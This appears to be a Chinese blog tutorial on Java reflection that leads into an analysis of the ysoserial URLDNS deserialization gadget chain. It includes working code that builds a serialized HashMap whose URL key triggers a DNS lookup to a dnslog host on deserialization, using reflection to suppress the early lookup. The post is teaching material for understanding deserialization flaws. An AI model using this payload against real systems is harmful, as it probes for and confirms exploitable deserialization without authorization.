Java无所不能的反射-URLDNS链分析

简介: -URLDNS链分析

打算学习cc链的知识,一边记笔记,一边分析出来,大家可以一起学习。

我参考的视频是  B站的   白日梦组长  

在安全中,java反射起到很大的作用

让java具有动态性
修改已有对象的属性
动态生成对象
动态调用方法
操作内部类和私有方法
在反序列化中
定制需要的对象
通过invoke调用除了同名函数以外的函数
通过class类创建对象,引入不能序列化的类

讲之前呢,先带大家过一遍反射的知识点,有助于理解。

內存:即JVM内存,栈、堆、方法区啥的都是JVM内存

class文件:就是所谓的字节码文件,这里直观些成为 .class 文件

java源代码执行后,会生成.class 文件 俗称字节码文件,会把里面的变量,方法之类的数据,加载到内存里,new对象 就开辟一个空间存储数据,子类调用父类构造器,构造器执行代码块,初始化语句啥的,大家自行百度 不会了

640.jpgStudent学生类

package file;
import java.util.Objects;
public class Student {
    private String name;
    private int age;
    public  String hitger;
    public  String weighter;
    public String a;
    protected  String b;
    String c;
    private String d;
    public Student(){}
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public int getAge() {
        return age;
    }
    public void setAge(int age) {
        this.age = age;
    }
    public Student(String name, int age) {
        this.name = name;
        this.age = age;
    }
    public void eat(){
        System.out.println("猫 吃 🐟");
    }
  public void eat(String food){
        System.out.println("猫 吃 🐟"+food);
    }
    @Override
    public String toString() {
        return "Student{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", hitger='" + hitger + '\'' +
                ", weighter=" + weighter +
                ", a='" + a + '\'' +
                ", b='" + b + '\'' +
                ", c='" + c + '\'' +
                ", d='" + d + '\'' +
                '}';
    }
    // 重写hashcode 和equals
    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (o == null || getClass() != o.getClass()) return false;
        Student student = (Student) o;
        return age == student.age && Objects.equals(name, student.name);
    }
    @Override
    public int hashCode() {
        return Objects.hash(name, age);
    }
}

获取class对象三种方式

//  多用于配置文件 读取文件 加载类
Class.forName("包名.类名") 将字节码文件加载到内容,返回class对象
//  多用于参数的传递
类名.class                 通过类型class 返回属性
//  多用于对象的获取字节码的方式
对象.getClass
import file.CopyFile;
import file.Student;
public class Demo1 {
    public static void main(String[] args) throws Exception {
        // class.forname
        Class<?> cls = Class.forName("file.CopyFile");
        System.out.println(cls);
        // 类名.class
        Class<CopyFile> cls1 = CopyFile.class;
        System.out.println(cls1);
        // 对象.getClass
        Student s = new Student();
        Class<? extends Student> cls2 = s.getClass();
        System.out.println(cls2);
    }
}

常用方法

获取成员变量们
getFields()   获取所有public修饰的成员变量
getField(String name) 获取指定名称的public修饰的成员变量
  获取值 get()
  修改值 set()
getDeclaredField(String name)  获取单个成员变量
setAccessible 暴力反射
getDeclaredFields()     获取所有的成员变量 不考虑修饰符
获取构造方法们 
作用  创建对象  newInstance()
getConstructors() 
getConstructor(类<?>  type) 构造方法 单个
获取成员方法们
作用 执行方法   invoke()
     获取方法名 getName()
getMethods()
getMethond(String name,类<?> type)
获取类名称
getName()

获取成员变量

import file.Student;
import java.lang.reflect.Field;
public class Demo2 {
    public static void main(String[] args) throws Exception {
        Student s = new Student();
        // 获取class对象
        Class<? extends Student> cls = s.getClass();
        // 获取所有成员变量
        Field[] fields = cls.getFields();
        for (Field field : fields) {
            System.out.println(field);
        }
        // 获取单个成员变量
        Field w = cls.getField("weighter");
        System.out.println(w);
        // 获取成员变量的数值 修改
        Object o = w.get(s);
        System.out.println(o);
        w.set(s,"李四");
        System.out.println(s);
        // 获取所有的成员变量
        Field[] df = cls.getDeclaredFields();
        for (Field f : df) {
            System.out.println(f);
        }
        // 获取单个成员变量 获取值 修改值
        Field dd = cls.getDeclaredField("d");
        // 取消修饰符安全型考虑 俗称暴力反射
        dd.setAccessible(true);
        Object vaule = dd.get(s);
        System.out.println(vaule);
        dd.set(s,"谁tm买小米");
        System.out.println(s);
    }
}

获取构造方法

import file.Student;
import java.lang.reflect.Constructor;
public class Demo3 {
    public static void main(String[] args) throws Exception{
        Student s = new Student();
        // 反射
        Class cls = s.getClass();
        // 获取单个构造方法
        Constructor con = cls.getConstructor(String.class, int.class);
        System.out.println(con);
        // 创建对象
        Object obj = con.newInstance("张三", 30);
        System.out.println(obj);
    }
}

获取成员方法

import file.Student;
import java.lang.reflect.Method;
public class Demo4 {
    public static void main(String[] args) throws Exception{
        Student s = new Student();
        // 反射
        Class<? extends Student> cls = s.getClass();
        // 获取无参方法
        Method cat_methond1 = cls.getMethod("eat");
        // 执行方法
        cat_methond1.invoke(s);
        // 获取有参方法
        Method eat_methnd2 = cls.getMethod("eat", String.class);
        eat_methnd2.invoke(s,"和猫粮");
        // 获取所有public修饰的方法
        Method[] methods = cls.getMethods();
        for (Method m : methods) {
            // 遍历方法
            System.out.println(m);
            // 遍历方法名
            System.out.println(m.getName());
        }
        // 获取类方法名
        String name = cls.getName();
        System.out.println(name);
    }
}

涉及cc链 就会涉及到序列化相关知识,很早之前写了一篇,可以参考下

java反序列化

URLDNS链分析

先从最简单的链条开始分析,因为简单,难的我暂时也不会

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

调用链如下

简单来说,就是代码中,层层调用类。

什么意思:

比如 写一个工具类,每次都写重复的代码,很繁琐,把相同的逻辑代码 抽出来,单独写到一个文件里,如,HttpClinet.java 这里写了jdbc连接数据的流程,我下次在连接数据库,直接调用HttpClinet.connet 直接一两行就完成了。

 *  Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()
github作者翻译:
作为反序列化的一部分,HashMap会对它调用的每个键调用hashCode
*反序列化,因此使用Java URL对象作为序列化键允许
*它会触发DNS查找。

在java中 有很多泛型(数据类型)  hashMap最常见  翻冰蝎,哥斯拉 这些源码时,也会经常看到这种泛型。

在java安全中, hashMap  +  反序列化 + 反射  ===  无敌

hashMap 最关键的就是它的泛型,可以是String,Integer,又或者Object,包括自己写的 PersonStudent

那么 cc 链 是和 反序列化挂钩的,像shiro 反序列化,fastjson反序列化等等

创建了小demo 演示 反序列化的过程  代码写注释了 就不过多解释,早期发过一次java反序列化学习 可以看下

import java.io.Serializable;
// 创建person类 实现反序列化接口  不继承接口 就无法对数据序列化操作
public class Person implements Serializable {
    private String name;
    private int age;
    public Person(){}
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public int getAge() {
        return age;
    }
    public void setAge(int age) {
        this.age = age;
    }
    @Override
    public String toString() {
        return "Persin{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class SerializableTest {
    // 创建序列化方法 创建一个bin文件 存储序列化后的数据
    public static void serializable(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void main(String[] args) throws Exception {
        // 创建person对象
        Person person = new Person("张三", 23);
        // 实现序列化方法
        serializable(person);
    }
}

import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class UnSerializableTest {
    // 创建反序列化方法 传参一个文件 读取文件内容 返回给 obj 对象
    public static Object Unserializable(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void main(String[] args) throws Exception {
        // 反序列化操作,类型强制类型转换
        Person person = (Person) Unserializable("ser.bin");
        System.out.println(person);
    }
}


如果说,我在序列化步骤中,添加了命令执行的代码,就会产生rce漏洞。

回到上一步,接着讲urldns利用链

HashMap会对它调用的每个键调用hashCode

使用Java URL对象作为序列化键允许

ctrl + 左键 可以查看源代码

查看hashMap源码 他实现了序列化的接口 当我们存储数据 需要使用put方法

640.png

查看put 源代码  调用hash方法 点进去 key调用了hashCode方法

640.png

接着看URL 他也调用了hashCode 方法

在hashmap中 key也会调用hashcode方法 所以这就形成了一条调用链

HashMap -> implements Serializable   实现序列化接口
hashMap.put -> hash -> key.hashCode == url(key).hashCode

这样写不知道你们能不能理解,,,

就是说,创建一个HashMap泛型,在创建一个url连接,使用put方法把url数据存放到里面,这个hashmap 实现了序列化方法,那么它里面的数据都可以被序列化,使用put后,会把url当作一条数据,传给hash方法,它就去调用hashCode放,这个url就是一个key ,这个key 调用了hashCode,这个key原本就是URL 方法创建的,所以查看URL源代码 就明白为什么会有HashCode方法了。

代码实现下,看看dnslog会不会有数据

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;
public class SerializableTest {
    public static void serializable(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void main(String[] args) throws Exception {
//        Person person = new Person("张三", 23);
        // 创建hashmap泛型
        HashMap<URL,Integer> hashMap = new HashMap<>();
        // 创建一个url资源
        URL url = new URL("http://mvkn4u.ceye.io");
        // 存放url数据
        hashMap.put(url,1);
        serializable(hashMap);
    }

虽然成功了但是存在问题的,打个断点,我们看看

640.png

使用 put后存放数据 hashCode 就变成了-1 就会造成 我还没有序列化 就已经执行了请求dns的操作了。

为了修改这个问题,所以引入了反射机制。利用反射 把hashcode 改成其他值 让他在put这一步变成其他值。

    import java.io.FileOutputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.net.URL;
    import java.util.HashMap;
    public class SerializableTest {
        public static void serializable(Object obj) throws Exception {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            oos.writeObject(obj);
        }
        public static void main(String[] args) throws Exception {
    //        Person person = new Person("张三", 23);
            // 创建hashmap泛型
            HashMap<URL,Integer> hashMap = new HashMap<>();
            // 创建一个url资源
            URL url = new URL("http://mvkn4u.ceye.io");
            // 获取url 字节码文件
            Class c = url.getClass();
            // hashCode 是私有变量 使用setAccessible强制修改
            Field hashcodefied = c.getDeclaredField("hashCode");
            hashcodefied.setAccessible(true);
            hashcodefied.set(url,123);
            hashMap.put(url,1);
            hashcodefied.set(url,-1);
            serializable(hashMap);
        }
    }

    640.png

    执行序列化后 没有收到dns请求,反序列化打断点后查看hashCode值

    执行反序列化后 成功收到请求



    相关文章
    |
    2天前
    |
    网络协议 算法 Java
    |
    2天前
    |
    Java C++
    Java反射的简单使用
    Java反射的简单使用
    21 3
    |
    2天前
    |
    Java
    【专栏】Java反射机制,该机制允许程序在运行时获取类信息、动态创建对象、调用方法和访问属性
    【4月更文挑战第27天】本文探讨了Java反射机制,该机制允许程序在运行时获取类信息、动态创建对象、调用方法和访问属性。反射通过Class、Constructor、Method和Field类实现。文中列举了反射的应用场景,如动态创建对象、调用方法、访问属性和处理注解,并提供了相关实例代码演示。
    |
    2天前
    |
    SQL 存储 Java
    【Java反射详解】
    【Java反射详解】
    12 1
    |
    2天前
    |
    Java
    JAVA难点包括异常处理、多线程、泛型和反射,以及复杂的分布式系统知识
    【5月更文挑战第2天】JAVA难点包括异常处理、多线程、泛型和反射,以及复杂的分布式系统知识。入坑JAVA因它的面向对象特性、平台无关性、强大的标准库和活跃的社区支持。
    42 2
    |
    2天前
    |
    Java 测试技术
    滚雪球学Java(24):Java反射
    【4月更文挑战第13天】🏆本文收录于「滚雪球学Java」专栏,专业攻坚指数级提升,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家关注&&收藏&&订阅!持续更新中,up!up!up!!
    23 0
    滚雪球学Java(24):Java反射
    |
    2天前
    |
    Java
    Java 反射
    Java 反射
    |
    2天前
    |
    设计模式 Java 索引
    由反射引出的Java动态代理与静态代理
    由反射引出的Java动态代理与静态代理
    16 0
    |
    2天前
    |
    存储 Java Shell
    深入剖析Java中的反射,由浅入深,层层剥离!
    深入剖析Java中的反射,由浅入深,层层剥离!
    14 1
    |
    2天前
    |
    Java API Spring
    Java基础教程(13)-Java中的反射和动态代理
    【4月更文挑战第13天】Java反射机制允许程序在运行时获取类的信息并调用其方法。Class类是基础,提供获取类属性和方法的能力。通过Class对象,可以操作实例字段和方法,如getField、getDeclaredField等。动态代理是Java提供的创建接口实例的机制,其中JDK动态代理需目标类实现接口,而Cglib则可代理未实现接口的类。动态代理涉及Proxy和InvocationHandler接口。